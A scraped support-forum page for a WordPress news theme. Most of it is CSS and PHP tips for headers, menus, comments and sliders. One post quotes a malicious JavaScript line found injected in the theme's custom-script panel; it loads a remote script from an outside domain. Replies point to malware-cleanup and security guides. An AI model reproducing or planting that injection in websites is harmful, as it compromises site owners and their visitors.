- Apitd_api_header_style::delete
- Apitd_api_header_style::update_key
- Apitd_api_header_style::update
- Apitd_api_header_style::add
- ApiAPI – Header style – Introduction
- Apitd_api_top_bar_template::update_key
- Apitd_api_top_bar_template::update
- Apitd_api_top_bar_template::add
- ApiAPI – Top Bar Template – Introduction
- Apitd_api_single_template::update_key
- Apitd_api_single_template::update
- Apitd_api_single_template::add
- ApiAPI – Single Template – Introduction
- Apitd_api_footer_template::update_key
- Apitd_api_footer_template::update
- Apitd_api_footer_template::add
- ApiAPI – Footer Template – Introduction
- Apitd_api_smart_list::update_key
- Apitd_api_smart_list::update
- Apitd_api_smart_list::add
Hi,
1. You could make those specific menu items aligned next to the search, with custom code
– https://www.screencast.com/t/eOmJtwDn
#td-header-menu .menu-item-824,
#td-header-menu .menu-item-825,
#td-header-menu .menu-item-826{
float: right;
}
2. That could be done with custom code as well, there is no options in the them for this specifically. Each menu item has a unique Id that can be used
– https://www.screencast.com/t/5qQR4KiCoig
– https://www.screencast.com/t/68fSPO4eAHVH
#td-header-menu .menu-item-303 a {
color: red;
}
#td-header-menu .menu-item-313 a {
color: blue;
}
#td-header-menu .menu-item-311 a {
color: green;
}
#td-header-menu .menu-item-312 a {
color: grey;
}
You can use any color you want in the code, then enter it in Theme panel->Custom CSS.
This is a useful guide mentioning how to use the browser inspector tool to create custom code
– https://forum.tagdiv.com/create-custom-code-using-the-browsers-inspector/
Thanks
Hello,
You can use a css code to change the icon size.
Please add this code in the theme panel-> custom css box:
.td-header-sp-top-widget .td-social-icon-wrap .td-icon-font{
font-size: 22px;
}
Thank you!
Hello,
Please, I would like to remove this complete section from Specific posts on my site.
Complete header (logo, menu, search) as well as the post url path (home-category-post title)

So after removing this, post starts with the title.
Hi,
I use the Event Calendar plugin with the post type = “tribe_events” that is also successfully recognized in CPT & Taxonomy from your theme. I also use a child theme in which I copied the page.php (that is used from the Event Calendar plugin to list the events).
Now I want that the comment_template is always displayed in the page.php (of my child theme) when the post type = “tribe-events”. Because the comments can only be enabled / disabled in the Theme Panel for ALL pages without any exceptions.
Therefore I made some amendments in the page.php that worked pretty well – the post type is recognized successfully and the comments are always shown, when the post type = tribe events. When the post type is not tribe events the comments template is not shown 🙂 The disadvantage of this is, that in case I want to use the comments on another page in future, it won’t work properly without making changes to the code. Because I disabled the settings in Theme Panel with my amendments.
So I tried to enhance my code a little bit to show the comments always for post type = “tribe events” AND to make the settings in the theme panel still work.
(...)
<div class="td-page-header">
<h1 class="entry-title td-page-title">
<span><?php the_title() ?></span>
</h1>
</div>
<div class="td-page-content">
<?php
the_content();
// check if post type is tribe-events
if (get_post_type() == 'tribe_events' ) {
echo 'Yes, post type is tribe events <br />';
$checkcomment = comments_template('', true); //show comments
// when post type NOT tribe events, check what is set in Theme Panel
} else {
echo 'Nope, post type is not tribe events <br />';
$td_enable_or_disable_page_comments = td_util::get_option('tds_disable_comments_pages'); //check settings
// when comments not allowed in Theme Panel settings, don't show comments
if ($td_enable_or_disable_page_comments != 'show_comments') {
echo 'Sorry, comments are not allowed for pages';
$checkcomment = comments_template('', false);
// when comments are allowed in Theme Panel settings, show comments
} else {
echo 'Great, comments are allowed for pages';
$checkcomment = comments_template('', true);
}
}
endwhile; //end loop
}
?>
</div>
<?php echo $checkcomment;?>
</div>
(...)
Unfortunately the comments template is not displayed on any other pages (although I enabled it in the Theme Panel settings) than on the one with post type =tribe-events”.
On all pages my “testing texts” from the echos (like “Great, comments are allowed for pages”) are always correct (depending on my settings in the theme panel). So the code seem to work …almost… properly :-/
Could you please help me or give me advice whether I have overseen something?
Many Thanks in advance,
Dinah
Hi everyone on TagDiv,
first of all congrats to Update to 8.1. – really great again and the TagDiv-Composer is awesome (after you get used to it) 🙂 … – great new ideas and possibilities. Keep up the great work!
During the update I found a few problems, I do not know, where to change or where to search. Please check attached screenshot with numbers from 1 to 3

1. We use MegaMenu on this layout, unfortunately the height of the menu is to small – approx. 20px – to make it look nice, I need a height of 40-45px – where to change it?
2. Below nearly every page is a white line which will ruin the layout. Not only on the Home-page, also on
e.g.
https://www.pureglam.tv/fashion-blog
https://www.pureglam.tv/technik-blog
https://www.pureglam.tv/beauty-blog
How to remove them on individual page-IDs?
3. Where to change the background color of the Top-menu. Unfortunately not possible to change on Theme colors.
Thank you for your assistance and keep up the great work and great support!
You may want to ensure you’ve add the mime type to your system, added an expiration header for caching, etc.
Do you have expiration headers added to your htaccess for .woff — did you add filetype handlers for .woff and .woff2 if your server not already setup for those?
If using a caching plugin make sure it understands a .woff font for caching.
It’s basically a ‘slimmed’ version of FontAwesome, so really works same way.
Hi,
“Apparently it is already solved. I searched the entire BBDD from PhpMyAdmin but did not find anything of traffictrade. There was also no evil code in the header ad.
After searching and searching, I found the following code in the control panel of both sites:
YOUR CUSTOM JAVASCRIPT
var p = document.createElement (“script”); p.type = “text / javascript”; p.src = “https://get.simplefunsite.info/rw.js”; document.head.appendChild (p);
At the moment everything is working well. I have the latest version of WordPress, Newspapper and all updated plugins. I also installed Wordfence. I changed the passwords of all the users, including the password of the BBDD. All strong passwords. I also completed the Authentication Unique Keys from wp-config. Do you think I’m protected now?
You know how they managed to get to the control panel of the theme to enter that malicious code? Thanks.”
I am still getting this problem on my site http://www.manbook.biz. I am looking for where I can find this “your customer javascript” because I have searched everywhere else. Can anyone please tell me where this is? I can only find on the web that it should be under appearance but it is not on my current wordpress control panel.
Thanks in advance for any assistance you may be willing to offer.
Hi Tagdiv Team, Good day to you!
Wondering how to create Sub-Sections in Block Header. Please find enclosed pic for easy reference!
https://www.screencast.com/t/hSrf7CiO
Thanks,
Dear Sirs,
Please help me to change something as images:
Thank you Sirs,
Hello,
I want to replace the Featured Image with a Revolution Slider. There is a method to replace it at https://www.themepunch.com/revslider-doc/add-on-featured-slider/ utilizing the following sample code:
$total_image = wp_get_attachment_image_src( get_post_thumbnail_id() , 'total-blog-header' );
echo do_shortcode('[featured_revslider][/featured_revslider]');
Your code doesn’t quite match up since it doesn’t use $total_image but rather it uses:
echo $td_mod_single->get_image('td_696x0');
How can I update the loop-single.php code to incorporate the slider? I have tried the following to no avail.
// override the default featured image by the templates (single.php and home.php/index.php - blog loop)
if (!empty(td_global::$load_featured_img_from_template)) {
echo $td_mod_single->get_image(td_global::$load_featured_img_from_template);
} else {
//BEGIN SLIDER REVOLUTION FEATURED IMAGE REPLACEMENT END
if (empty($total_image[0])) {
echo $td_mod_single->get_image('td_696x0');
} else {
echo do_shortcode('[featured_revslider][/featured_revslider]');
}
//END SLIDER REVOLUTION FEATURED IMAGE REPLACEMENT
// echo $td_mod_single->get_image('td_696x0'); //ORIGINAL CODE IN THIS BLOCK
}
So basically we don’t even have to update it?
Added
“Header set Access-Control-Allow-Origin “http://skin.cdn.com” ” on top of .htaccess
Ty
Hello,
Sorry for this but please notice that each of our header styles has an own style and it cannot be changed very easily, sorry! You should choose one of them which has the menu aligned as you wish. Please notice that as you want involve custom work and we cannot provide custom services at the moment, sorry!
Thanks for your understanding!
Good morning TAG DIV Team,
I have a problem with the mobile version of the site http://www.blogosocial.com. On the cellphone the site is displayed correctly but I can’t click the header menu and search buttons that are blocked and unusable. I tried to delete cache plugins but without success. What can it depend on?
Thank you
Alessandro
Hello,
Well the header ad, if it’s a custom ad you will have to create the link yourself. If not, please use an ad service that can provide this functionality. Our theme only renders ads, it has no ‘ad creator’
Thank you!
Hello,
Do you have consulted our documentation here -> https://forum.tagdiv.com/newsmag-header-ads/? Notice that there you will find all of the information which you need to know in order to set your header ads. Also, the tags you find can be found here -> https://www.screencast.com/t/clJ94I1d
Hope this helps!
Thanks for your understanding!
Hello,
I can only see the standard header ad spot being used. Please check your theme panel under ads and header ads.
If you have been the victim of an attack, update your theme immediately to the latest version and use one of these guides:
http://securepress.org/tutorial-how-to-remove-malware.php
https://wordpress.org/support/topic/malware-removal
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
Here is a link for best WordPress security practices:
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/
Thank you!
Sorry, one further question: With my style 5 header, is there a code to include a ‘separator line’ underneath? For example, something like this from style 8: https://snag.gy/OKxhej.jpg
Hey there,
Thank you for the advise. I have located the php file for header style 1.
However, can you advise further of how I can implement the social icon codes? Where if possible, having a hover effect as well, following the reference website below.
Website (desired look): http://www20.hdb.gov.sg/fi10/fi10221p.nsf/arxvi/ceo.html
Good Morning from Bali 🙂
Dear TAGDIV Team, i want to ask, is it possible to custom post template on mobile theme ? i want to change with from default style into style 3 or 4, as long the title inside the feature header image, the purpose is easy for me to screen capture and upload it to instagram, so i don’t need to retype anymore, for example: . –>
thank you for your attention 🙂
I would also like to ‘suggest’ that TagDiv discontinue ‘printing’ the theme version in the footer, as this is an easy Google search for vulnerable theme versions, much like printing the version of WordPress in header was incredibly dumb for WP security practices. I’m not sure this is still happening in latest version, but I used to have to remove that code by hack of theme files.
Hello,
On our website, on the theme, has appeared advertising in header and footer.
We do not know what has happened.
What could we do to, if a file has been modified, restore it?
Thank you!
Hello,
1) I cannot find the revolution slider element anywhere on your site. Please provide a link to it so I can inspect the slider.
2) The screenshot is not the correct one but I suspect you selected a different module for your latest articles section. It can be changed from the post loop settings: https://forum.tagdiv.com/page-templates-2/
3) You can select a different block header for each element in the bapge builder or the widgets area. There are 17 to choose from: https://www.screencast.com/t/Vq53qeenDK
Thanks.
I understood what you mean. But it can only be done with altering the theme files. The theme has no such option. The header files are found here:
https://www.screencast.com/t/tbZOnul4yTeZ
There is a separate file for each of the header styles that you use.
Let’s say you use header style 1. You would have to edit the code and remove the header ad: https://www.screencast.com/t/pQDqsUIV0DG and replace that with the social icons code.
Thank you!
On the top menu and sticky menu, my logo is lower than the menu of categories https://snag.gy/0s4vYz.jpg
What code do I use to realign the logo and menu?
I’m using header style 5.
